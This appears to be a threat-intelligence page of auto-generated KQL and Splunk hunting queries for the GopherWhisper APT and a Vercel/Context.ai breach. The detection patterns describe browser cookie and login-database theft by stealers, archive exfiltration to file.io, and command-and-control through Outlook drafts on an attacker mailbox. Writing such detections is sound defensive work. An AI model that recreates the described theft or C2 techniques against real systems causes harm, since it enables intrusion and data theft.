Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("file.io")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("file.io")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("file.io")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — China-Linked GopherWhisper Infects 12 Mongolian Government Systems with Go BackdExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — China-Linked GopherWhisper Infects 12 Mongolian Government Systems with Go Backd
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("whisper.dll"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("whisper.dll"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — China-Linked GopherWhisper Infects 12 Mongolian Government Systems with Go Backd ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("whisper.dll"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("whisper.dll"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] GopherWhisper JabGopher injecting whisper.dll into svchost.exe (LaxGopher loader)InstallationHigh
Hunts the JabGopher injector dropping/loading a module named whisper.dll into svchost.exe to execute the LaxGopher Go backdoor on Mongolian government endpoints. Combines disk-write of whisper.dll with svchost as the host process, which is unusual outside of this campaign.
Rationale: ESET names the injector JabGopher and explicitly states LaxGopher is loaded as whisper.dll into svchost.exe. The combination of a disk artefact named whisper.dll outside legitimate Whisper/system locations and svchost loading the same hash is a near-unique signature for this campaign.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/gopherwhisper-burrow-full-malware/
• https://securityaffairs.com/191318/apt/gopherwhisper-new-china-linked-apt-targets-mongolia-with-go-based-malware.html
ATT&CKT1055.001T1574.002T1036.005
Data sourcesEndpoint.FilesystemEndpoint.Processes
let SuspectFile = DeviceFileEvents | where FileName =~ "whisper.dll" | where not(FolderPath has_any ("\\Windows\\System32\\","\\Windows\\WinSxS\\","\\Program Files\\OpenAI")) | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256;
let SvchostLoad = DeviceImageLoadEvents | where InitiatingProcessFileName =~ "svchost.exe" | where FileName =~ "whisper.dll" or SHA256 in ((SuspectFile | project SHA256)) | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessParentFileName, InitiatingProcessCommandLine, SHA256;
SuspectFile | join kind=inner (SvchostLoad) on DeviceId
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, SHA256
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name="whisper.dll" AND NOT Filesystem.file_path IN ("*\\Windows\\System32\\*","*\\Windows\\WinSxS\\*","*\\Program Files\\OpenAI*","*\\Program Files*\\Whisper*") by Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.process_name Filesystem.process_guid | `drop_dm_object_name(Filesystem)` | join type=inner dest [| tstats `summariesonly` count from datamodel=Endpoint.Processes where Processes.process_name=svchost.exe AND Processes.parent_process_name!=services.exe by Processes.dest Processes.user Processes.process Processes.parent_process | `drop_dm_object_name(Processes)`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] GopherWhisper CompactGopher exfiltration via file.io from non-browser processActions on ObjectivesHigh
CompactGopher compresses staged files and uploads them to file.io for exfiltration. This hunts outbound connections / DNS resolutions to file.io originating from processes that aren't user-driven browsers, which is highly anomalous in a corporate Mongolian government environment.
Rationale: ESET identifies file.io as the dedicated exfiltration channel for CompactGopher. file.io is rarely used by legitimate enterprise software, and contact from non-browser processes is a high-fidelity signal that survives without needing hashes.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/gopherwhisper-burrow-full-malware/
• https://www.globenewswire.com/news-release/2026/04/23/3279634/0/en/ESET-Research-discovers-new-China-aligned-group-GopherWhisper-It-abuses-messaging-services-Discord-Slack-and-Outlook-to-spy.html
ATT&CKT1567.002T1071.001T1560.001
Data sourcesNetwork_Resolution.DNSWeb.WebEndpoint.Processes
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has "file.io" or RemoteUrl endswith ".file.io"
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe","iexplore.exe","safari.exe")
| join kind=leftouter (DeviceFileEvents | where FileName endswith ".zip" or FileName endswith ".7z" or FileName endswith ".rar" | project DeviceId, ArchiveTime=Timestamp, ArchiveName=FileName, ArchivePath=FolderPath) on DeviceId
| where isnull(ArchiveTime) or (Timestamp between ((ArchiveTime - 10m) .. (ArchiveTime + 30m)))
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessFolderPath, ArchiveName, ArchivePath
| sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(DNS.query) as queries from datamodel=Network_Resolution.DNS where (DNS.query="file.io" OR DNS.query="*.file.io") by DNS.src DNS.dest DNS.process_name DNS.process_path | `drop_dm_object_name(DNS)` | where NOT match(process_name,"(?i)^(chrome|msedge|firefox|brave|opera|iexplore|safari)\.exe$") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] GopherWhisper BoxOfFriends C2 via Microsoft Graph drafts from attacker mailboxCommand & ControlMedium
BoxOfFriends authenticates to Microsoft 365 as the attacker-controlled mailbox barrantaya.1010@outlook.com and reads/writes Outlook draft emails via the Graph API for command-and-control. Hunts host-side connections to login.microsoftonline.com / graph.microsoft.com from processes that are not legitimate Office/Teams/Outlook clients, and any direct reference to the attacker mailbox identifier on disk or in process command lines.
Rationale: ESET attributes BoxOfFriends C2 to the Microsoft 365 Outlook REST/Graph API using the attacker-created account barrantaya.1010@outlook.com (registered 2024-07-11). Graph endpoints reached by non-Office, non-browser binaries — and any literal reference to the attacker mailbox string — are strong, article-specific signals.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/gopherwhisper-burrow-full-malware/
• https://www.globenewswire.com/news-release/2026/04/23/3279634/0/en/ESET-Research-discovers-new-China-aligned-group-GopherWhisper-It-abuses-messaging-services-Discord-Slack-and-Outlook-to-spy.html
• https://securityaffairs.com/191318/apt/gopherwhisper-new-china-linked-apt-targets-mongolia-with-go-based-malware.html
ATT&CKT1102.002T1071.001T1573.002
Data sourcesNetwork_Resolution.DNSEndpoint.Processes
let AttackerMailbox = "barrantaya.1010@outlook.com";
let SuspectGraphCallers = DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl in~ ("graph.microsoft.com","login.microsoftonline.com","outlook.office.com")
| where InitiatingProcessFileName !in~ ("outlook.exe","olk.exe","teams.exe","ms-teams.exe","onedrive.exe","msedge.exe","chrome.exe","firefox.exe","winword.exe","excel.exe","powerpnt.exe","onenote.exe","searchapp.exe","searchhost.exe","backgroundtaskhost.exe","runtimebroker.exe","svchost.exe")
| summarize Connections=count(), Urls=make_set(RemoteUrl), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by DeviceId, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessSHA256
| where Connections >= 3;
let MailboxRefs = union
(DeviceProcessEvents | where ProcessCommandLine has AttackerMailbox | project Timestamp, DeviceId, DeviceName, Evidence=ProcessCommandLine, Source="ProcessCmdLine"),
(DeviceFileEvents | where FileName has "barrantaya" or FolderPath has "barrantaya" | project Timestamp, DeviceId, DeviceName, Evidence=strcat(FolderPath,"\\",FileName), Source="FileEvent");
SuspectGraphCallers
| join kind=leftouter (MailboxRefs | summarize MailboxHits=count(), SampleEvidence=any(Evidence) by DeviceId) on DeviceId
| project FirstSeen, LastSeen, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, Connections, Urls, MailboxHits, SampleEvidence
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Resolution.DNS where (DNS.query="graph.microsoft.com" OR DNS.query="login.microsoftonline.com" OR DNS.query="outlook.office.com") by DNS.src DNS.process_name DNS.process_path DNS.query | `drop_dm_object_name(DNS)` | where NOT match(process_name,"(?i)^(outlook|olk|teams|ms-teams|onedrive|msedge|chrome|firefox|winword|excel|powerpnt|onenote|lync|searchapp|searchhost|backgroundtaskhost|runtimebroker|svchost)\.exe$") | stats values(query) as queries values(process_path) as paths sum(count) as conn_count by src process_name firstTime lastTime | where conn_count > 5
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Article-specific behavioural hunt — GopherWhisper: A burrow full of malware
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → [LLM] GopherWhisper JabGopher: whisper.dll side-load with svchost.exe process injection
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · [LLM] GopherWhisper BoxOfFriends: M365 Outlook draft-message C2 via Microsoft Graph
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → [LLM] GopherWhisper CompactGopher: archive staged and exfiltrated to file.io
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Article-specific behavioural hunt — GopherWhisper: A burrow full of malwareExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — GopherWhisper: A burrow full of malware
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("whisper.dll"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("whisper.dll"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — GopherWhisper: A burrow full of malware ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("whisper.dll"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("whisper.dll"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] GopherWhisper JabGopher: whisper.dll side-load with svchost.exe process injectionInstallationHigh
Hunts the JabGopher injector chain where a malicious whisper.dll (LaxGopher backdoor) is dropped and a fresh svchost.exe is spawned by a non-services.exe parent so LaxGopher can be injected into its memory. The 'whisper.dll' filename plus an orphaned svchost without a -k service group flag is the article's defining install pattern.
Rationale: Article explicitly names 'whisper.dll' as the side-loaded LaxGopher payload that JabGopher injects into a freshly spawned svchost.exe. Combining the unique filename with svchost lacking '-k' (legitimate svchost always has a service group) and an unexpected parent yields a near-FP-free anchor. Cross-checked with BleepingComputer and SecurityWeek write-ups confirming the JabGopher → svchost injection chain.
Cross-checked against:
• https://www.bleepingcomputer.com/news/security/new-gopherwhisper-apt-group-abuses-outlook-slack-discord-for-comms/
• https://securityaffairs.com/191318/apt/gopherwhisper-new-china-linked-apt-targets-mongolia-with-go-based-malware.html
• https://www.securityweek.com/china-linked-apt-gopherwhisper-abuses-legitimate-services-in-government-attacks/
ATT&CKT1574.002T1055.012T1036.005
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let whisper_drops = DeviceFileEvents | where FileName =~ "whisper.dll" | where FolderPath !startswith "C:\\Program Files\\OpenAI" and FolderPath !startswith "C:\\Program Files\\NVIDIA" and FolderPath !contains "\\Whisper\\" | project Timestamp, DeviceId, DeviceName, DropPath=FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessSHA256; let suspect_svchost = DeviceProcessEvents | where FileName =~ "svchost.exe" | where ProcessCommandLine !has " -k " | where InitiatingProcessFileName !in~ ("services.exe","wininit.exe","MsMpEng.exe") | project Timestamp, DeviceId, DeviceName, SvchostCmd=ProcessCommandLine, SvchostParent=InitiatingProcessFileName, SvchostParentCmd=InitiatingProcessCommandLine; whisper_drops | join kind=inner (suspect_svchost) on DeviceId | where abs(datetime_diff('minute', Timestamp1, Timestamp)) <= 30 | project Timestamp, DeviceName, DropPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SvchostCmd, SvchostParent, SvchostParentCmd
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as file_path values(Filesystem.process_name) as dropping_process from datamodel=Endpoint.Filesystem where Filesystem.file_name="whisper.dll" by Filesystem.dest Filesystem.user Filesystem.file_name | `drop_dm_object_name(Filesystem)` | where NOT match(file_path,"(?i)\\\\(Program Files|Program Files \(x86\))\\\\(OpenAI|Whisper|NVIDIA)") | join type=inner dest [ | tstats summariesonly=t count from datamodel=Endpoint.Processes where Processes.process_name="svchost.exe" AND NOT Processes.parent_process_name IN ("services.exe","wininit.exe","MsMpEng.exe") AND NOT Processes.process="*-k *" by Processes.dest Processes.parent_process_name Processes.process Processes.process_id | `drop_dm_object_name(Processes)` ] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] GopherWhisper CompactGopher: archive staged and exfiltrated to file.ioActions on ObjectivesMedium
Detects the CompactGopher exfiltration pattern: a non-browser process compresses files (zip/tar) and POSTs to file.io. file.io is the named exfiltration broker in the campaign and is rare in enterprise traffic, so origin process plus destination domain is highly distinguishing.
Rationale: Article specifically names file.io as the staging/exfil broker for CompactGopher, deployed as a payload by LaxGopher to compress and ship data. Combining file.io destination with a non-browser initiating process and a recent archive command on the same host is article-specific and rare in benign traffic. Confirmed by BleepingComputer and SecurityWeek coverage referencing file.io as the campaign's exfiltration channel.
Cross-checked against:
• https://www.bleepingcomputer.com/news/security/new-gopherwhisper-apt-group-abuses-outlook-slack-discord-for-comms/
• https://www.securityweek.com/china-linked-apt-gopherwhisper-abuses-legitimate-services-in-government-attacks/
ATT&CKT1567.002T1560.001
Data sourcesWebEndpoint.ProcessesNetwork_Resolution.DNS
let net = DeviceNetworkEvents | where RemoteUrl has "file.io" or RemoteIPType == "Public" and RemoteUrl endswith ".file.io" | where InitiatingProcessFileName !in~ ("msedge.exe","chrome.exe","firefox.exe","iexplore.exe","brave.exe","opera.exe","safari.exe") | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, InitiatingProcessSHA256; let archive = DeviceProcessEvents | where ProcessCommandLine has_any (" -cz","Compress-Archive","7z a ","7za a ","tar.exe -c",".zip",".tar.gz") | where InitiatingProcessFileName !in~ ("setup.exe","msiexec.exe") | project ArchiveTime=Timestamp, DeviceId, ArchiveCmd=ProcessCommandLine, ArchiveProc=InitiatingProcessFileName; net | join kind=leftouter (archive) on DeviceId | where isnull(ArchiveTime) or abs(datetime_diff('minute', Timestamp, ArchiveTime)) <= 60 | project Timestamp, DeviceName, RemoteUrl, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, ArchiveCmd, ArchiveProc
| tstats summariesonly=t count values(Web.url) as urls values(Web.http_method) as methods sum(Web.bytes_out) as bytes_out min(_time) as firstTime max(_time) as lastTime from datamodel=Web where (Web.url="*file.io*" OR Web.dest="file.io" OR Web.dest="*.file.io") by Web.src Web.user Web.dest Web.app | `drop_dm_object_name(Web)` | where NOT match(app,"(?i)(msedge|chrome|firefox|iexplore|brave|opera|safari)") | join type=outer src [ | tstats summariesonly=t values(Processes.process) as recent_cmds values(Processes.process_name) as recent_pnames from datamodel=Endpoint.Processes where Processes.process IN ("*file.io*","*tar -cz*","*7z*a*","*Compress-Archive*") by Processes.dest | rename Processes.dest as src | `drop_dm_object_name(Processes)` ] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] GopherWhisper BoxOfFriends: M365 Outlook draft-message C2 via Microsoft GraphCommand & ControlMedium
Hunts the BoxOfFriends backdoor's hallmark behavior: a non-Office, non-browser process talking to graph.microsoft.com /me/messages or /mailFolders/drafts/messages, since the malware uses Microsoft Graph mail REST API to read and modify draft emails as a covert C2 channel. Pivots include the Go binary loaded by FriendDelivery DLL on the host.
Rationale: Article documents BoxOfFriends abusing the Microsoft Graph mail REST API to create/modify draft messages for C2 (a rare but extremely identifiable pattern), delivered by FriendDelivery DLL, with the seed mailbox barrantaya.1010@outlook.com. Filtering for graph.microsoft.com /me/messages or /mailFolders/drafts/messages from non-Office/non-browser processes pinpoints the Go binary's traffic. Cross-checked with BleepingComputer and SecurityWeek confirming Microsoft 365 Outlook draft-email C2 via Graph.
Cross-checked against:
• https://www.bleepingcomputer.com/news/security/new-gopherwhisper-apt-group-abuses-outlook-slack-discord-for-comms/
• https://securityaffairs.com/191318/apt/gopherwhisper-new-china-linked-apt-targets-mongolia-with-go-based-malware.html
• https://www.securityweek.com/china-linked-apt-gopherwhisper-abuses-legitimate-services-in-government-attacks/
ATT&CKT1102.002T1071.003T1213.002
Data sourcesWebEndpoint.Processes
let graph_calls = DeviceNetworkEvents | where RemoteUrl has "graph.microsoft.com" | where InitiatingProcessFileName !in~ ("outlook.exe","msedge.exe","chrome.exe","firefox.exe","teams.exe","ms-teams.exe","onedrive.exe","onenote.exe","winword.exe","excel.exe","powerpnt.exe","officeclicktorun.exe","officec2rclient.exe","msaccess.exe","olk.exe") | where InitiatingProcessFolderPath !startswith "C:\\Program Files\\Microsoft" and InitiatingProcessFolderPath !startswith "C:\\Program Files (x86)\\Microsoft" | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, InitiatingProcessParentFileName, InitiatingProcessSignatureStatus; let loader_hosts = DeviceImageLoadEvents | where FolderPath has_any ("FriendDelivery","BoxOfFriends") or (FileName endswith ".dll" and InitiatingProcessFileName =~ "rundll32.exe") | summarize LoaderSeen=min(Timestamp) by DeviceId, LoaderDll=FileName, LoaderPath=FolderPath; graph_calls | join kind=leftouter (loader_hosts) on DeviceId | extend SuspectAccount = iff(RemoteUrl has "barrantaya", "barrantaya.1010@outlook.com", "") | project Timestamp, DeviceName, RemoteUrl, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, InitiatingProcessSignatureStatus, LoaderDll, LoaderPath, SuspectAccount
| tstats summariesonly=t count values(Web.url) as urls values(Web.user_agent) as uas sum(Web.bytes_in) as bytes_in sum(Web.bytes_out) as bytes_out min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url="*graph.microsoft.com*" AND (Web.url="*/me/messages*" OR Web.url="*/mailFolders/drafts/messages*" OR Web.url="*/me/mailFolders/Drafts*") by Web.src Web.user Web.app Web.user_agent | `drop_dm_object_name(Web)` | where NOT match(app,"(?i)(outlook|msedge|chrome|firefox|teams|onedrive|onenote|word|excel|powerpnt|officeclicktorun)") AND NOT match(user_agent,"(?i)(Microsoft Office|Outlook|Edg/|Chrome/|Firefox/|MSTeams)") | join type=outer src [ | tstats summariesonly=t values(Processes.process) as suspect_cmd values(Processes.process_name) as suspect_pname from datamodel=Endpoint.Processes where (Processes.process="*FriendDelivery*" OR Processes.process="*BoxOfFriends*" OR (Processes.parent_process_name="rundll32.exe" AND Processes.process_name="rundll32.exe")) by Processes.dest | rename Processes.dest as src | `drop_dm_object_name(Processes)` ] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-239 use cases5 techniques6 kill-chain phases detected
Vercel on Wednesday revealed that it has identified an additional set of customer accounts that were compromised as part of a security incident that enabled unauthorized access to its internal systems. The company said it made the discovery after expanding its investigation to include an extra set of compromise indicators, alongside a review of requests to the Vercel network and environment
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002T1528T1555.003
Click any ATT&CK pill below to open it on the Matrix
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — Vercel Finds More Compromised Accounts in Context.ai-Linked Breach
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · [LLM] Malicious Context AI Chrome extension (omddlmnhcofjbnbflmjginpjjblphbgk) on managed endpoint
Command & Control. Beacon to attacker infrastructure for control and tasking. → [LLM] Endpoint or DNS callback to retired beta.context.ai host
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · OAuth consent / suspicious app grant · [LLM] OAuth grant to Context AI Google app (client_id 110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj)
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
